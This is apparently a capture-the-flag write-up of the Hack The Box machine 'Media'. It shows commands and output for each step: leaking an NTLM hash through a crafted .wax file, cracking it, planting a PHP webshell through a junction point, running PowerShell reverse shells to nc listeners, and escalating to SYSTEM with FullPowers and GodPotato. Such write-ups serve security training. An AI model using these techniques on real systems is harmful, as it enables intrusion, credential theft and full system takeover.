htb-media

Media

Media starts with a PHP site on Windows that takes video uploads. I’ll use a wax file to leak a net-NTLMv2 hash, and then crack it to get SSH access to the host. I’ll understand how the webserver is writing the files to the filesystem, and use a junction point link to have it write into the web root, allowing me to upload a webshell and get access as local service. I’ll use FullPowers to enable the SeImpersonatePrivilage, and then GodPotato to get System.

Recon

Initial Scanning

nmap finds three open TCP ports, SSH (22), HTTP (80), and RDP (3389):

$ nmap -p- -vvv --min-rate 10000 10.129.190.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-04 15:06 UTC
...[snip]...
Nmap scan report for 10.129.190.66
Host is up, received echo-reply ttl 127 (0.023s latency).
Scanned at 2025-09-04 15:06:22 UTC for 13s
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON
22/tcp   open  ssh           syn-ack ttl 127
80/tcp   open  http          syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127


The box has RDP (3389) open, which is typically associated with a Windows Client / Server. SSH is less common on Windows, but the banners show it’s also Windows.

I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:

All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.

Website – TCP 80

Site

The website is for a website services company:

 

All the links on the page go to places on the same page. The only interesting bit is the form at the bottom:

 

It says the uploaded files should be compatible with Windows Media Player. I can fill out the form and give it any file .

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP, and with a lowercase wordlist since it’s Windows:

$ feroxbuster -u http://10.129.190.66 -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt

Nothing interesting here.

Shell as enox

NTLM Capture

Background

The file upload seems like the most likely point of attack. In searching for ways to attack Windows Media Player, I’ll find an article from Morphisec, “NTLM Privilege Escalation: The Unpatched Microsoft Vulnerabilities No One is Talking About”. It has five examples, and the forth is about .wax files, which are audio shortcuts for Windows Media Player. When opened with Windows Media Player, these will try to fetch a media stream from a server defined in the file, authenticating with their NTLM hash if necessary.

Generate .wax

The article above has an example file which I’ll copy. It’s simple XML:

<asx version="3.0">
        <title>Leak</title>
        <entry>
                <title></title>
                <ref href="file://10.10.14.148\test\puck.mp3"/>
        </entry>
</asx>

The ntlm_theft repo can generate this as well (and a couple other Windows Media Player compatible files).

Responder

I’ll fire up Responder with sudo uv run --script Responder.py (after adding inetfaces package to the inline metadata if I hadn’t before with uv add --script Responder.py netifaces; see my uv cheatsheet for details). About a minute after I upload the .wax file, there’s a hit:

oxdf@hacky$ sudo uv run --script Responder.py -I tun0 
...[snip]...
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.190.66
[SMB] NTLMv2-SSP Username : MEDIA\enox
[SMB] NTLMv2-SSP Hash     : enox::MEDIA:76cfab6bd4aa1cd5:0E8659AEFE42DDB294D71D24CF73B132:01010000000000000033A321B21DDC01<snip>00000
[*] Skipping previously captured hash for MEDIA\enox
[*] Skipping previously captured hash for MEDIA\enox
[*] Skipping previously captured hash for MEDIA\enox
[*] Skipping previously captured hash for MEDIA\enox

Crack Hash

I’ll save the hash to a file, and pass it to hashcat, which detects the mode and cracks it with rockyou.txt in a few seconds:

$ hashcat enox.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol
...[snip]...
ENOX::MEDIA:76cfab6bd4aa1cd5:0e8659aefe42ddb294d71d24cf73b132:01010000000000000033a321b21ddc01<snip>000000:1234virus@
...[snip]...

SSH

This works over SSH to get a shell:

$ sshpass -p '1234virus@' ssh enox@10.129.190.66
Warning: Permanently added '10.129.190.66' (ED25519) to the list of known hosts.
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

enox@MEDIA C:\Users\enox>

And I can grab user.txt:

enox@MEDIA C:\Users\enox\Desktop>type user.txt
47a835d0************************

I can also switch to PowerShell for a better experience:

enox@MEDIA C:\>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\> 

Shell as local service

Enumeration

Users

There are no other users besides Administrator with a home directory in \Users:

PS C:\Users> ls

    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         10/1/2023  11:48 PM                Administrator
d-----         10/2/2023  10:26 AM                enox
d-r---         10/1/2023  11:48 PM                Public

There are only two interesting files:

PS C:\Users> tree /f .
Folder PATH listing
Volume serial number is 00000271 EAD8:5D48
C:\USERS
├───Administrator
├───enox
│   ├───Desktop
│   │       user.txt
│   │
│   ├───Documents
│   │       review.ps1
│   │
│   ├───Downloads
│   ├───Favorites
│   ├───Links
│   ├───Music
│   ├───Pictures
│   ├───Saved Games
│   └───Videos
└───Public

review.ps1 is the automation for opening uploads from the form with Windows Media Player. It defines two functions, and then has an infinite loop:

while($True){

    if ((Get-Content -Path $todofile) -eq $null) {                 
        Write-Host "Todo is empty."                                
        Sleep 60 # Sleep for 60 seconds before rechecking
    }                                                              
    else {
        $result = Get-Values -FilePath $todofile
        $filename = $result.FileName
        $randomVariable = $result.RandomVariable                   
        Write-Host "FileName: $filename"
        Write-Host "Random Variable: $randomVariable"              

        # Opening the File in Windows Media Player
        Start-Process -FilePath $mediaPlayerPath -ArgumentList "C:\Windows\Tasks\uploads\$randomVariable\$filename"

        # Wait for 15 seconds
        Start-Sleep -Seconds 15
                                                                   
        $mediaPlayerProcess = Get-Process -Name "wmplayer" -ErrorAction SilentlyContinue                                               
        if ($mediaPlayerProcess -ne $null) {                       
            Write-Host "Killing Windows Media Player process."
            Stop-Process -Name "wmplayer" -Force                   
        }

        # Task Done              
        UpdateTodo -FilePath $todofile # Updating C:\Windows\Tasks\Uploads\todo.txt
        Sleep 15
    }

}   

Web Uploads

In C:\Windows\Tasks\Uploads I’ll find an empty todo.txt, along with some directories that look like MD5 hashes:

PS C:\Windows\Tasks\Uploads> ls

    Directory: C:\Windows\Tasks\Uploads

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          9/4/2025   8:25 AM                33d81ad509ef34a2635903babb285882
d-----          9/4/2025   8:29 AM                5df2dc6202bacd28271760a091d6b2bf
d-----          9/4/2025   8:40 AM                a7246e6c505d873ba68e05840d9fa696
d-----          9/4/2025   8:26 AM                f23005bf2de7344d680b75f0e90a8016
-a----          9/4/2025   8:41 AM              0 todo.txt

The directories contain the uploaded files:

PS C:\Windows\Tasks\Uploads> ls .\a7246e6c505d873ba68e05840d9fa696\

    Directory: C:\Windows\Tasks\Uploads\a7246e6c505d873ba68e05840d9fa696

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          9/4/2025   8:40 AM            135 leak.wax

Website

The website lives in C:\xampp\htdocs:

PS C:\xampp\htdocs> ls

    Directory: C:\xampp\htdocs

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         10/2/2023  10:27 AM                assets
d-----         10/2/2023  10:27 AM                css
d-----         10/2/2023  10:27 AM                js
-a----        10/10/2023   5:00 AM          20563 index.php

index.php is large, but most of it is static HTML. The PHP that handles the uploads is at the top:

<?php                                                                                                                                  
error_reporting(0);

    // Your PHP code for handling form submission and file upload goes here.
    $uploadDir = 'C:/Windows/Tasks/Uploads/'; // Base upload directory

    if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
        $firstname = filter_var($_POST["firstname"], FILTER_SANITIZE_STRING);
        $lastname = filter_var($_POST["lastname"], FILTER_SANITIZE_STRING);
        $email = filter_var($_POST["email"], FILTER_SANITIZE_STRING);

        // Create a folder name using the MD5 hash of Firstname + Lastname + Email
        $folderName = md5($firstname . $lastname . $email);

        // Create the full upload directory path
        $targetDir = $uploadDir . $folderName . '/';

        // Ensure the directory exists; create it if not
        if (!file_exists($targetDir)) {                            
            mkdir($targetDir, 0777, true);
        }

        // Sanitize the filename to remove unsafe characters
        $originalFilename = $_FILES["fileToUpload"]["name"];
        $sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);


        // Build the full path to the target file
        $targetFile = $targetDir . $sanitizedFilename;

        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {                                                    
            echo "<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>";

            // Update the todo.txt file
            $todoFile = $uploadDir . 'todo.txt';
            $todoContent = "Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n";                              

            // Append the new line to the file
            file_put_contents($todoFile, $todoContent, FILE_APPEND);
        } else {
            echo "<script>alert('Uh oh, something went wrong... Please submit again');</script>";             
        }
    }
    ?>   

When there’s an upload, it creates the MD5 folder name I previous observed using a combination of the first name, last name, and email:

$folderName = md5($firstname . $lastname . $email);

Then it checks if that doesn’t exist, and creates it if not, and then writes the file to that directory, and updates the todo.txt used by review.ps1.

Arbitrary File Write

Strategy

enox has write privileges in the Uploads directory (has to in order to write todo.txt).

Upload Webshell ( shell.php )

<?php
system($_REQUEST['cmd']);
?>

 

I’ll upload a file with the following details:

 It shows up in 33d81ad509ef34a2635903babb285882:

PS C:\windows\Tasks\Uploads> ls .\33d81ad509ef34a2635903babb285882\

    Directory: C:\windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          9/4/2025  11:07 AM             35 shell.php

I’ll remove that entire directory:

PS C:\windows\Tasks\Uploads> rm .\33d81ad509ef34a2635903babb285882\shell.php
PS C:\windows\Tasks\Uploads> rm .\33d81ad509ef34a2635903babb285882\

Now I’ll make a link:

PS C:\> cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
Junction created for C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 <<===>> C:\xampp\htdocs
PS C:\> ls .\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882\

    Directory: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         10/2/2023  10:27 AM                assets
d-----         10/2/2023  10:27 AM                css
d-----         10/2/2023  10:27 AM                js
-a----        10/10/2023   5:00 AM          20563 index.php

Now I’ll upload the webshell again, the same as above. It works:

PS C:\> ls C:\xampp\htdocs\

    Directory: C:\xampp\htdocs

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         10/2/2023  10:27 AM                assets
d-----         10/2/2023  10:27 AM                css
d-----         10/2/2023  10:27 AM                js
-a----        10/10/2023   5:00 AM          20563 index.php
-a----          9/4/2025  11:12 AM             35 shell.php

And it gives execution:

$ curl http://10.129.190.66/shell.php?cmd=whoami
nt authority\local service

Shell

I’ll grab a PowerShell #3 (Base64) reverse shell from revshells.com and give it to the webshell:

oxdf@hacky$ curl http://10.129.190.66/shell.php --data-urlencode 'cmd=powershell -e JABj<snip>AA=='

This just hangs, but at nc:

$ rlwrap -cAr nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.190.66 59283

PS C:\xampp\htdocs>

Shell as SYSTEM

Get SeImpersonatePrivilege

Enumeration

I would expect that the local service user running the webserver would have SeImpersonatePrivilege, but it doesn’t show up from the shell:

PS C:\xampp\htdocs> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State   
============================= =================================== ========
SeTcbPrivilege                Act as part of the operating system Disabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled 
SeCreateGlobalPrivilege       Create global objects               Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set      Disabled
SeTimeZonePrivilege           Change the time zone                Disabled

The privileges have been limited to prevent exploitation.

FullPowers

There’s a nice tool, FullPowers, designed to restore the default privilege set for the account by creating a scheduled task and running it. I’ll download a copy from the release page and upload it to Media using scp:

$ sshpass -p '1234virus@' scp FullPowers.exe enox@10.129.190.66:/programdata/

Now I just run it with the -c option and a reverse shell, and the -z option for non-interactive:

PS C:\programdata> .\FullPowers.exe -c 'powershell -e JABjAGw<snip>AKAApAA==' 

At nc there’s a shell:

$ rlwrap -cAr nc -lnvp 444
Listening on 0.0.0.0 444
Connection received on 10.129.190.66 59290

PS C:\Windows\system32>

This shell has a full set of privileges for local service:

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

GodPotato

To exploit SeImpersonatePrivilege, I’ll use GodPotato. I’ll download the latest release and upload it to Media:

$ sshpass -p '1234virus@' scp GodPotato-NET4.exe enox@10.129.190.66:/programdata/gp.exe

I’ll run it with -cmd and another reverse shell:

PS C:\programdata> .\gp.exe -cmd 'powershell -e JAB<snip>ApAA=='

This hangs, but at another nc, there’s a shell as system:

$ rlwrap -cAr nc -lnvp 445
Listening on 0.0.0.0 445
Connection received on 10.129.190.66 59294

PS C:\programdata> whoami
nt authority\system

And read the root flag:

PS C:\Users\Administrator\Desktop> cat root.txt
6b37e846************************